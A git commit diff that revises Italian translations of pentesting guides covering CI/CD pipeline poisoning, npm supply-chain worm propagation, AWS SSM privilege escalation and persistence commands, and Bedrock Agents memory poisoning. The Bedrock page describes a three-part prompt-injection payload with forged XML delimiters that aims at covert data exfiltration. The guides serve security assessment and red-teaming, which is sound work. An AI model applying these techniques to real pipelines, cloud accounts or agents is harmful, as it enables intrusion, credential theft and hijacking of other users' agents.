Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-04-30 19:33:43 +00:00
parent 56478bd905
commit 69da9d6f97
5 changed files with 184 additions and 184 deletions
@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Metodologia Pentesting CI/CD
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS sta per **Version Control System**, questi sistemi permettono agli sviluppatori di **gestire il proprio codice sorgente**. Il più comune è **git** e di solito troverai aziende che lo usano in una delle seguenti **platforms**:
VCS sta per **Version Control System**, questi sistemi consentono agli sviluppatori di **gestire il proprio codice sorgente**. Il più comune è **git** e di solito troverai aziende che lo usano in una delle seguenti **platforms**:
- Github
- Gitlab
@@ -18,39 +18,39 @@ VCS sta per **Version Control System**, questi sistemi permettono agli sviluppat
## CI/CD Pipelines
Le pipeline CI/CD consentono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, tra cui building, testing e deploy delle applicazioni. Questi workflow automatizzati vengono **attivati da azioni specifiche**, come push di codice, pull request o task pianificati. Sono utili per semplificare il processo dallo sviluppo alla produzione.
Le CI/CD pipelines consentono agli sviluppatori di **automatizzare l'esecuzione del codice** per vari scopi, inclusi build, test e deploy delle applicazioni. Questi workflow automatizzati vengono **attivati da azioni specifiche**, come push di codice, pull request o task pianificati. Sono utili per semplificare il processo dallo sviluppo alla produzione.
Tuttavia, questi sistemi devono essere **eseguiti da qualche parte** e di solito con **credenziali privilegiate per deployare codice o accedere a informazioni sensibili**.
## VCS Pentesting Methodology
> [!NOTE]
> Anche se alcune platforms VCS permettono di creare pipeline, per questa sezione analizzeremo solo i possibili attacchi al controllo del codice sorgente.
> Anche se alcune platforms VCS consentono di creare pipelines, per questa sezione analizzeremo solo i potenziali attacchi al controllo del source code.
Le platforms che contengono il codice sorgente del tuo progetto contengono informazioni sensibili e bisogna fare molta attenzione ai permessi concessi all'interno di questa platform. Questi sono alcuni problemi comuni tra le platforms VCS che un attacker potrebbe abusare:
Le platforms che contengono il source code del tuo progetto contengono informazioni sensibili e le persone devono essere molto attente ai permessi concessi all'interno di questa platform. Questi sono alcuni problemi comuni nelle platforms VCS che un attacker potrebbe abusare:
- **Leaks**: se il tuo codice contiene leaks nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leaks.
- **Access**: se un attacker può **accedere a un account dentro la platform VCS** potrebbe ottenere **più visibilità e permessi**.
- **Register**: alcune platforms consentiranno semplicemente agli utenti esterni di creare un account.
- **SSO**: alcune platforms non consentiranno agli utenti di registrarsi, ma permetteranno a chiunque di accedere con un SSO valido (quindi un attacker potrebbe usare il suo account github per entrare, per esempio).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... ci sono diversi tipi di token che un user potrebbe rubare per accedere in qualche modo a un repo.
- **Webhooks**: le platforms VCS consentono di generare webhooks. Se non sono **protetti** con secret non visibili, un **attacker potrebbe abusarne**.
- Se non è presente alcun secret, l'attacker potrebbe abusare del webhook della platform di terze parti
- Se il secret è nell'URL, succede la stessa cosa e l'attacker ha anche il secret
- **Code compromise:** se un malicious actor ha qualche tipo di accesso in **write** ai repos, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe dover **bypass branch protections**. Queste azioni possono essere eseguite con diversi obiettivi in mid:
- Compromettere il main branch per **compromettere la production**.
- Compromettere il main (o altri branches) per **compromettere le macchine degli sviluppatori** (dato che di solito eseguono test, terraform o altre cose dentro il repo sulle loro macchine).
- **Compromettere la pipeline** (controlla la sezione successiva)
- **Leaks**: Se il tuo codice contiene leaks nei commit e l'attacker può accedere al repo (perché è pubblico o perché ha accesso), potrebbe scoprire i leaks.
- **Access**: Se un attacker può **accedere a un account dentro la platform VCS** potrebbe ottenere **maggiore visibilità e permessi**.
- **Register**: Alcune platforms consentiranno semplicemente agli utenti esterni di creare un account.
- **SSO**: Alcune platforms non consentiranno agli utenti di registrarsi, ma permetteranno a chiunque di accedere con un SSO valido (quindi un attacker potrebbe usare il proprio account github per entrare, per esempio).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... esistono diversi tipi di token che un user potrebbe rubare per accedere in qualche modo a un repo.
- **Webhooks**: Le platforms VCS consentono di generare webhooks. Se non sono **protetti** con secret non visibili, un **attacker potrebbe abusarne**.
- Se non è presente alcun secret, l'attacker potrebbe abusare del webhook della third party platform
- Se il secret è nell'URL, accade lo stesso e l'attacker ha anche il secret
- **Code compromise:** Se un malicious actor ha qualche tipo di accesso **write** ai repos, potrebbe provare a **iniettare codice malevolo**. Per avere successo potrebbe dover **bypassare le branch protections**. Queste azioni possono essere eseguite con obiettivi diversi in mente:
- Compromettere la main branch per **compromettere production**.
- Compromettere la main (o altre branches) per **compromettere le macchine degli sviluppatori** (poiché di solito eseguono test, terraform o altre cose dentro il repo sulle loro macchine).
- **Compromettere la pipeline** (vedi la prossima sezione)
## Pipelines Pentesting Methodology
Il modo più comune per definire una pipeline è usare un **CI configuration file hosted in the repository** che la pipeline builda. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
Questi file di solito hanno un nome e un formato coerenti, ad esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions situati sotto .github/workflows. Quando viene attivato, il job della pipeline **scarica il codice** dalla source selezionata (ad es. commit / branch) e **esegue i comandi specificati nel CI configuration file** su quel codice.
Il modo più comune per definire una pipeline è usare un **CI configuration file hostato nel repository** che la pipeline builda. Questo file descrive l'ordine dei job eseguiti, le condizioni che influenzano il flusso e le impostazioni dell'ambiente di build.\
Questi file in genere hanno un nome e un formato coerenti, per esempio — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e i file YAML di GitHub Actions situati sotto .github/workflows. Quando viene attivato, il job della pipeline **scarica il codice** dalla sorgente selezionata (ad esempio commit / branch), e **esegue i comandi specificati nel CI configuration file** su quel codice.
Pertanto, l'obiettivo finale dell'attacker è in qualche modo **compromettere quei file di configurazione** o i **comandi che eseguono**.
> [!TIP]
> Alcuni hosted builders consentono ai contributors di scegliere il Docker build context e il path del Dockerfile. Se il context è controllato dall'attacker, puoi impostarlo fuori dal repo (ad es. "..") per ingerire file dell'host durante la build ed exfiltrare secrets. Vedi:
> Alcuni hosted builder consentono ai contributor di scegliere il Docker build context e il percorso del Dockerfile. Se il context è controllato dall'attacker, puoi impostarlo fuori dal repo (ad esempio, "..") per ingerire file dell'host durante la build ed esfiltrare secret. Vedi:
>
>{{#ref}}
>docker-build-context-abuse.md
@@ -58,67 +58,67 @@ Pertanto, l'obiettivo finale dell'attacker è in qualche modo **compromettere qu
### PPE - Poisoned Pipeline Execution
Il percorso Poisoned Pipeline Execution (PPE) sfrutta i permessi in un repository SCM per manipolare una CI pipeline ed eseguire comandi dannosi. Gli utenti con i permessi necessari possono modificare i CI configuration file o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la CI pipeline, portando all'esecuzione di questi comandi malevoli.
Il percorso Poisoned Pipeline Execution (PPE) sfrutta i permessi in un SCM repository per manipolare una CI pipeline ed eseguire comandi dannosi. Gli user con i permessi necessari possono modificare i file di configurazione CI o altri file usati dal job della pipeline per includere comandi malevoli. Questo "avvelena" la CI pipeline, portando all'esecuzione di questi comandi malevoli.
Per avere successo in un attacco PPE, un malicious actor deve poter:
Per avere successo in un attacco PPE, un malicious actor deve essere in grado di:
- Avere **write access alla platform VCS**, poiché di solito le pipeline vengono attivate quando viene eseguito un push o una pull request. (Controlla la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
- Avere **write access alla platform VCS**, poiché di solito le pipelines vengono attivate quando viene eseguito un push o una pull request. (Vedi la VCS pentesting methodology per un riepilogo dei modi per ottenere accesso).
- Nota che a volte una **external PR conta come "write access"**.
- Anche con i permessi di write, deve essere sicuro di poter **modificare il CI config file o altri file su cui il config si basa**.
- Per questo, potrebbe dover essere in grado di **bypass branch protections**.
- Anche se ha permessi di scrittura, deve assicurarsi di poter **modificare il file di configurazione CI o altri file da cui la config dipende**.
- Per questo, potrebbe dover essere in grado di **bypassare le branch protections**.
Ci sono 3 varianti di PPE:
- **D-PPE**: un attacco **Direct PPE** si verifica quando l'attacker **modifica il file CI config** che verrà eseguito.
- **I-DDE**: un attacco **Indirect PPE** si verifica quando l'attacker **modifica** un **file** su cui il CI config file che verrà eseguito **si basa** (come un make file o una terraform config).
- **Public PPE or 3PE**: in alcuni casi le pipeline possono essere **attivate da utenti che non hanno write access nel repo** (e che potrebbero non far nemmeno parte dell'org) perché possono inviare una PR.
- **3PE Command Injection**: di solito le pipeline CI/CD **imposteranno environment variables** con **informazioni sulla PR**. Se quel valore può essere controllato da un attacker (come il titolo della PR) ed è **usato** in un **posto pericoloso** (come eseguire **sh commands**), un attacker potrebbe **iniettare comandi**.
- **D-PPE**: Un attacco **Direct PPE** si verifica quando l'actor **modifica il file CI config** che verrà eseguito.
- **I-DDE**: Un attacco **Indirect PPE** si verifica quando l'actor **modifica** un **file** da cui dipende il file CI config che verrà eseguito (**rely on**), come un make file o una terraform config.
- **Public PPE or 3PE**: In alcuni casi le pipelines possono essere **attivate da user che non hanno write access nel repo** (e che potrebbero persino non far parte dell'org) perché possono inviare una PR.
- **3PE Command Injection**: Di solito, le CI/CD pipelines **impostano environment variables** con **informazioni sulla PR**. Se quel valore può essere controllato da un attacker (come il titolo della PR) ed è **usato** in un **punto pericoloso** (come l'esecuzione di **sh commands**), un attacker potrebbe **iniettare comandi lì dentro**.
### Exploitation Benefits
Sapendo le 3 varianti per avvelenare una pipeline, vediamo cosa potrebbe ottenere un attacker dopo un'exploit riuscita:
Conoscendo le 3 varianti per avvelenare una pipeline, vediamo cosa potrebbe ottenere un attacker dopo un'exploit riuscito:
- **Secrets**: come detto in precedenza, le pipeline richiedono **privileges** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privileges di solito sono **concessi in secrets**. Questi secrets sono di solito accessibili tramite **env variables o file all'interno del sistema**. Pertanto un attacker cercherà sempre di exfiltrare quanti più secrets possibile.
- A seconda della platform della pipeline, l'attacker **potrebbe dover specificare i secrets nel config**. Questo significa che se l'attacker non può modificare il CI configuration pipeline (**I-PPE** per esempio), potrebbe **solo exfiltrare i secrets che quella pipeline ha**.
- **Computation**: il codice viene eseguito da qualche parte, a seconda di dove viene eseguito un attacker potrebbe riuscire a pivotare ulteriormente.
- **On-Premises**: se le pipeline vengono eseguite on premises, un attacker potrebbe finire in una **internal network con accesso a più risorse**.
- **Cloud**: l'attacker potrebbe accedere ad **altre macchine nel cloud** ma potrebbe anche **exfiltrare** IAM roles/service accounts **tokens** da esse per ottenere **ulteriore accesso dentro il cloud**.
- **Platforms machine**: a volte i job verranno eseguiti all'interno delle **platform machines delle pipelines**, che di solito si trovano dentro un cloud con **nessun altro accesso**.
- **Select it:** a volte la **platform delle pipelines avrà configurato più macchine** e se puoi **modificare il CI configuration file** puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ogni possibile macchina per provare a sfruttarla ulteriormente.
- **Compromise production**: se sei dentro la pipeline e la versione finale viene buildata e deployata da lì, potresti **compromettere il codice che finirà in esecuzione in production**.
- **Secrets**: Come detto in precedenza, le pipelines richiedono **privilegi** per i loro job (recuperare il codice, buildarlo, deployarlo...) e questi privilegi di solito sono **concessi nei secret**. Questi secret sono solitamente accessibili tramite **env variables o file all'interno del sistema**. Pertanto un attacker cercherà sempre di esfiltrare quanti più secret possibile.
- A seconda della platform della pipeline, l'attacker **potrebbe dover specificare i secret nella config**. Questo significa che, se l'attacker non può modificare il CI configuration pipeline (**I-PPE** per esempio), potrebbe **solo esfiltrare i secret che quella pipeline ha**.
- **Computation**: Il codice viene eseguito da qualche parte; a seconda di dove viene eseguito, un attacker potrebbe riuscire a pivotare ulteriormente.
- **On-Premises**: Se le pipelines vengono eseguite on premises, un attacker potrebbe finire in una **internal network con accesso a più risorse**.
- **Cloud**: L'attacker potrebbe accedere ad **altre macchine nel cloud** ma potrebbe anche **esfiltrare** token di IAM roles/service accounts **da esse** per ottenere **ulteriore accesso nel cloud**.
- **Platforms machine**: A volte i job verranno eseguiti sulle **macchine della platform delle pipelines**, che di solito si trovano in un cloud con **nessun altro accesso**.
- **Select it:** A volte la **platform delle pipelines avrà configurato più macchine** e, se puoi **modificare il file di configurazione CI**, puoi **indicare dove vuoi eseguire il codice malevolo**. In questa situazione, un attacker probabilmente eseguirà una reverse shell su ogni macchina possibile per provare a sfruttarla ulteriormente.
- **Compromise production**: Se sei dentro la pipeline e la versione finale viene buildata e deployata da lì, potresti **compromettere il codice che finirà per essere eseguito in production**.
### Dependency & Registry Supply-Chain Abuse
Compromettere una CI/CD pipeline o rubare credenziali da essa può permettere a un attacker di passare da **pipeline execution** a **ecosystem-wide code execution** backdoorando dipendenze o tooling di release:
Compromettere una CI/CD pipeline o rubarne le credenziali può permettere a un attacker di passare da **pipeline execution** a **ecosystem-wide code execution** backdoorando dependencies o release tooling:
- **Install-time code execution via package hooks**: pubblica una versione del package che aggiunge hook `preinstall`, `postinstall`, `prepare` o simili, così il payload viene eseguito automaticamente sulle workstation degli sviluppatori e sui CI runners durante l'installazione delle dipendenze.
- **Secondary execution paths**: anche se i target installano con `--ignore-scripts`, un package malevolo può comunque registrare un **common CLI name** nel campo `bin`, così il wrapper controllato dall'attacker viene symlinked dentro `PATH` ed esegue più tardi quando il command viene usato.
- **Runtime bootstrapping**: un piccolo installer può scaricare un secondo runtime o toolchain durante l'installazione (per esempio Bun o un interpreter impacchettato) e poi lanciare il main payload con esso, evitando requisiti di dipendenze locali.
- **Credential harvesting from build environments**: una volta che il codice gira dentro CI, controlla environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs e tooling locale come `gh auth token`. Su GitHub Actions, cerca anche secrets e artifacts specifici del runner.
- **Workflow injection with stolen GitHub tokens**: un token con permessi **`repo` + `workflow`** è sufficiente per creare un branch, commettere un file malevolo dentro `.github/workflows/`, attivarlo, raccogliere artifacts/logs prodotti e poi eliminare il branch temporaneo/il workflow run per ridurre le tracce.
- **Wormable registry propagation**: i token npm rubati dovrebbero essere validati per i permessi di **publish** e per capire se bypassano 2FA. Se lo fanno, enumera i packages scrivibili, scarica i loro tarball, inserisci un loader come `setup.mjs`, imposta `preinstall` per eseguirlo, incrementa la patch version e ripubblica. Questo trasforma una compromissione CI in auto-esecuzione a valle in altri ambienti.
- **Install-time code execution via package hooks**: pubblica una versione del package che aggiunge hook `preinstall`, `postinstall`, `prepare` o simili, così il payload viene eseguito automaticamente sulle workstation degli sviluppatori e sui CI runners durante l'installazione delle dependencies.
- **Secondary execution paths**: anche se i target installano con `--ignore-scripts`, un package malevolo può comunque registrare un **common CLI name** nel campo `bin` così che il wrapper controllato dall'attacker venga symlinkato in `PATH` ed eseguito più tardi quando il comando viene usato.
- **Runtime bootstrapping**: un piccolo installer può scaricare un secondo runtime o toolchain durante l'installazione (per esempio Bun o un interpreter impacchettato) e poi avviare il payload principale con esso, evitando requisiti locali di dependency.
- **Credential harvesting from build environments**: una volta che il codice gira dentro CI, controlla le environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs e strumenti locali come `gh auth token`. Su GitHub Actions, cerca anche secret e artifacts specifici del runner.
- **Workflow injection with stolen GitHub tokens**: un token con permessi **`repo` + `workflow`** è sufficiente per creare un branch, fare commit di un file malevolo dentro `.github/workflows/`, attivarlo, raccogliere gli artifacts/log generati e poi eliminare il branch/workflow run temporaneo per ridurre le tracce.
- **Wormable registry propagation**: i token npm rubati dovrebbero essere verificati per i permessi di **publish** e per capire se bypassano la 2FA. Se lo fanno, enumera i package scrivibili, scarica i loro tarball, inietta un loader come `setup.mjs`, imposta `preinstall` per eseguirlo, incrementa la patch version e ripubblica. Questo trasforma un compromesso CI in auto-esecuzione downstream in altri ambienti.
#### Practical checks during an assessment
- Revisiona l'automazione di release per hook del package-manager aggiunti a `package.json`, voci `bin` inattese o bump di versione che modificano solo l'artifact di release.
- Controlla se CI memorizza credenziali di registry a lunga durata in file in plaintext come `~/.npmrc` invece di usare OIDC a breve durata o trusted publishing.
- Verifica se i token GitHub disponibili in CI possono scrivere workflow files o creare branch/tag.
- Se si sospetta un package compromesso, ispeziona il tarball pubblicato e non solo il Git repository, perché il loader/runtime malevolo potrebbe esistere solo nell'artifact pubblicato.
- Cerca esecuzioni inattese del package-manager dentro CI come `npm install` invece di `npm ci`, download/esecuzione inattesi di Bun o nuovi workflow artifacts generati da branch transienti.
- Esamina l'automazione di release per hook del package manager aggiunti a `package.json`, `bin` entries inattese o version bumps che modificano solo l'artefact di release.
- Controlla se CI memorizza credenziali di registry a lunga durata in file in chiaro come `~/.npmrc` invece di usare OIDC a breve durata o trusted publishing.
- Verifica se i token GitHub disponibili in CI possono scrivere workflow files o creare branches/tags.
- Se si sospetta un package compromesso, ispeziona il tarball pubblicato e non solo il Git repository, perché il loader/runtime malevolo potrebbe esistere solo nell'artefact pubblicato.
- Cerca esecuzioni inattese del package manager dentro CI come `npm install` invece di `npm ci`, download/esecuzione inattesi di Bun, o nuovi workflow artifacts generati da transient branches.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare il tuo software supply chain stack per la conformità di sicurezza basata su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal code time al deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) è uno strumento open-source per auditare il tuo software supply chain stack per la sicurezza e la compliance basata su un nuovo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit si concentra sull'intero processo SDLC, dove può rivelare rischi dal code time fino al deploy time.
### Top 10 CI/CD Security Risk
Controlla questo articolo interessante sui top 10 CI/CD risks secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Controlla questo articolo interessante sui top 10 rischi CI/CD secondo Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Su ogni platform che puoi eseguire localmente troverai come avviarla localmente così puoi configurarla come vuoi per testarla
- Su ogni platform che puoi eseguire localmente troverai come avviarla in locale così puoi configurarla come vuoi per testarla
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
@@ -4,7 +4,7 @@
## SSM
Per ulteriori informazioni consulta:
Per ulteriori informazioni, controlla:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni consulta:
### Using ssm:CreateAssociation for persistence
Un attacker con il permission **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente commands su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a una persistence in stile backdoor senza interactive sessions.
Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente command su EC2 instances gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte a persistence tipo backdoor senza sessioni interattive.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,12 +22,12 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Questo metodo di persistence funziona finché l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti `ssm:SendCommand`. **Importante:** il parametro `--schedule-expression` (ad es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per un'esecuzione immediata o una tantum, ometti completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive né permessi espliciti `ssm:SendCommand`. **Importante:** il parametro `--schedule-expression` (ad es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una sola volta, ometti completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un attaccante con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistence all'interno di quel documento. In pratica l'attaccante avrebbe anche bisogno di **`ssm:ListDocuments`** per ottenere i nomi dei custom document e, se l'attaccante vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
Un attaccante con i permessi **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** può elevare i privilegi modificando documenti esistenti. Questo consente anche la persistenza all'interno di quel documento. In pratica, l'attaccante avrebbe bisogno anche di **`ssm:ListDocuments`** per ottenere i nomi dei custom documents e, se l'attaccante vuole offuscare il proprio payload all'interno di un documento esistente, sarebbe necessario anche **`ssm:GetDocument`**.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
@@ -39,7 +39,7 @@ aws ssm update-document \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Di seguito è riportato un documento di esempio che può essere usato per sovrascrivere un documento esistente. Dovrai assicurarti che il tipo del tuo documento corrisponda al tipo del documento di destinazione per evitare problemi con l'invocazione. Il documento seguente, per esempio, funzionerà con gli esempi **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
Di seguito è riportato un example document che può essere usato per overwrite un documento esistente. Dovrai assicurarti che il tipo del tuo document corrisponda al tipo del target document per evitare issues con innvocation. Il document below per instance funzionerà con gli examples **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
@@ -57,7 +57,7 @@ runCommand:
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può elevare i privilegi registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche la persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
Un attacker con i permessi **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** può elevare i privilegi registrando prima un nuovo target con una maintenance window esistente e poi aggiornando registrando un nuovo task. Questo consente l'esecuzione sugli target esistenti, ma può permettere a un attacker di compromettere compute con ruoli diversi registrando nuovi target. Questo consente anche persistence, poiché i task delle maintenance windows vengono eseguiti a un intervallo predefinito durante la creazione della window. In pratica, l'attacker avrebbe anche bisogno di **`ssm:DescribeMaintenanceWindows`** per ottenere gli ID delle maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
@@ -5,35 +5,35 @@
## AWS - Bedrock Agents Memory Poisoning (Indirect Prompt Injection)
### Panoramica
### Overview
Amazon Bedrock Agents con Memory p conservare riepiloghi delle sessioni passate e iniettarli nei futuri orchestration prompt come system instructions. Se loutput di uno strumento non fidato (ad esempio contenuti recuperati da pagine web esterne, file o API di terze parti) viene incorporato nellinput del Memory Summarization step senza sanitizzazione, un attacker può avvelenare la long-term memory tramite indirect prompt injection. La memoria avvelenata poi influenza il planning dellagent tra sessioni future e può portare a covert actions come silent data exfiltration.
Amazon Bedrock Agents con Memory possono conservare riepiloghi di sessioni passate e inserirli nei prompt di orchestrazione futuri come system instructions. Se loutput di un tool non fidato (per esempio, contenuto recuperato da pagine web esterne, file o API di terze parti) viene incorporato nellinput del passaggio di Memory Summarization senza sanitization, un attacker può avvelenare la long-term memory tramite indirect prompt injection. La memoria avvelenata poi influenza il planning dellagent nelle sessioni future e può portare a covert actions come silent data exfiltration.
Questa non è una vulnerabilità nella Bedrock platform in sé; è una classe di rischio per gli agent quando contenuti non fidati fluiscono nei prompt che poi diventano system instructions di alta priorità.
Questa non è una vulnerabilità nella piattaforma Bedrock in sé; è una classe di rischio degli agent quando contenuti non fidati fluiscono in prompt che poi diventano system instructions ad alta priorità.
### Come funziona Bedrock Agents Memory
### How Bedrock Agents Memory works
- Quando Memory è abilitata, lagent riassume ogni sessione alla fine della sessione usando un Memory Summarization prompt template e memorizza quel riepilogo per una retention configurabile (fino a 365 giorni). Nelle sessioni successive, quel riepilogo viene iniettato nellorchestration prompt come system instructions, influenzando fortemente il comportamento.
- Quando Memory è abilitata, lagent riassume ogni sessione alla fine della sessione usando un Memory Summarization prompt template e memorizza quel riepilogo per una retention configurabile (fino a 365 giorni). Nelle sessioni successive, quel riepilogo viene inserito nel prompt di orchestrazione come system instructions, influenzando fortemente il comportamento.
- Il template predefinito di Memory Summarization include blocchi come:
- `<previous_summaries>$past_conversation_summary$</previous_summaries>`
- `<conversation>$conversation$</conversation>`
- Le linee guida richiedono XML rigoroso e ben formato e argomenti come "user goals" e "assistant actions".
- Se uno strumento recupera dati esterni non fidati e quel contenuto raw viene inserito in $conversation$ (in particolare nel field del risultato dello strumento), lLLM del summarizer può essere influenzato da markup e istruzioni controllati dallattacker.
- Se un tool recupera dati esterni non fidati e quel contenuto raw viene inserito in $conversation$ (in particolare nel campo result del tool), lLLM del summarizer può essere influenzato da markup e istruzioni controllati dallattacker.
### Superficie dattacco e prerequisiti
### Attack surface and preconditions
Un agent è esposto se tutte le seguenti condizioni sono vere:
- Memory è abilitata e i riepiloghi vengono reiniettati nei orchestration prompt.
- Lagent ha uno strumento che ingerisce contenuti non fidati (web browser/scraper, document loader, API di terze parti, user-generated content) e inserisce il risultato raw nel blocco `<conversation>` del prompt di summarization.
- Non sono applicati guardrails o sanitizzazione dei token simili a delimitatori negli output degli strumenti.
Un agent è esposto se tutto quanto segue è vero:
- Memory è abilitata e i riepiloghi vengono reiniettati nei prompt di orchestrazione.
- Lagent ha un tool che acquisisce contenuti non fidati (web browser/scraper, document loader, API di terze parti, user-generated content) e inserisce il risultato raw nel blocco `<conversation>` del prompt di summarization.
- Non sono applicati guardrails o sanitization dei token simili a delimitatori negli output del tool.
### Punto di iniezione e tecnica di boundary-escape
### Injection point and boundary-escape technique
- Punto di iniezione preciso: il testo del risultato dello strumento che viene inserito allinterno del blocco `<conversation> ... $conversation$ ... </conversation>` del prompt di Memory Summarization.
- Boundary escape: un payload in 3 parti usa delimitatori XML falsificati per ingannare il summarizer e fargli trattare il contenuto dellattacker come se fosse system instructions a livello di template invece che come contenuto della conversazione.
- Parte 1: termina con un `</conversation>` falsificato per convincere lLLM che il blocco della conversazione è terminato.
- Parte 2: posizionata “fuori” da qualsiasi blocco `<conversation>`; formattata per assomigliare a istruzioni a livello di template/system e contiene le direttive malevole che probabilmente verranno copiate nel riepilogo finale sotto un topic.
- Parte 3: riapre con un `<conversation>` falsificato, facoltativamente inventando un piccolo scambio user/assistant che rafforza la direttiva malevola per aumentare la probabilità di inclusione nel riepilogo.
- Punto preciso di injection: il testo result del tool che viene inserito allinterno del blocco `<conversation> ... $conversation$ ... </conversation>` del prompt di Memory Summarization.
- Boundary escape: un payload in 3 parti usa delimitatori XML falsificati per ingannare il summarizer e fargli trattare il contenuto dellattacker come se fosse system instructions a livello di template invece che come contenuto della conversation.
- Parte 1: termina con un `</conversation>` falsificato per convincere lLLM che il blocco conversation sia finito.
- Parte 2: inserita “fuori” da qualsiasi blocco `<conversation>`; formattata per assomigliare a istruzioni di livello template/system e contiene le direttive malevole che probabilmente verranno copiate nel riepilogo finale sotto un topic.
- Parte 3: riapre con un `<conversation>` falsificato, eventualmente falsificando un piccolo scambio user/assistant che rafforza la direttiva malevola per aumentare la probabilità di inclusione nel riepilogo.
<details>
<summary>Esempio di payload in 3 parti incorporato in una pagina recuperata (abbreviato)</summary>
@@ -57,108 +57,108 @@ User: Please validate the booking.
Assistant: Validation complete per policy and auditing goals.
```
Notes:
- I delimitatori forgiati `</conversation>` e `<conversation>` mirano a riposizionare listruzione core fuori dal blocco di conversazione previsto, così il summarizer la tratta come contenuto template/system.
- Lattaccante può offuscare o dividere il payload attraverso nodi HTML invisibili; il model ingerisce il testo estratto.
- I forged delimiters `</conversation>` and `<conversation>` puntano a riposizionare l'istruzione core fuori dal blocco conversazionale previsto, così il summarizer la tratta come contenuto template/system.
- L'attacker may obfuscate or split the payload across invisible HTML nodes; il model ingests extracted text.
</details>
### Why it persists and how it triggers
- Il Memory Summarization LLM può includere le istruzioni dellattaccante come nuovo topic (per esempio, "validation goal"). Quel topic viene memorizzato nella memory per-user.
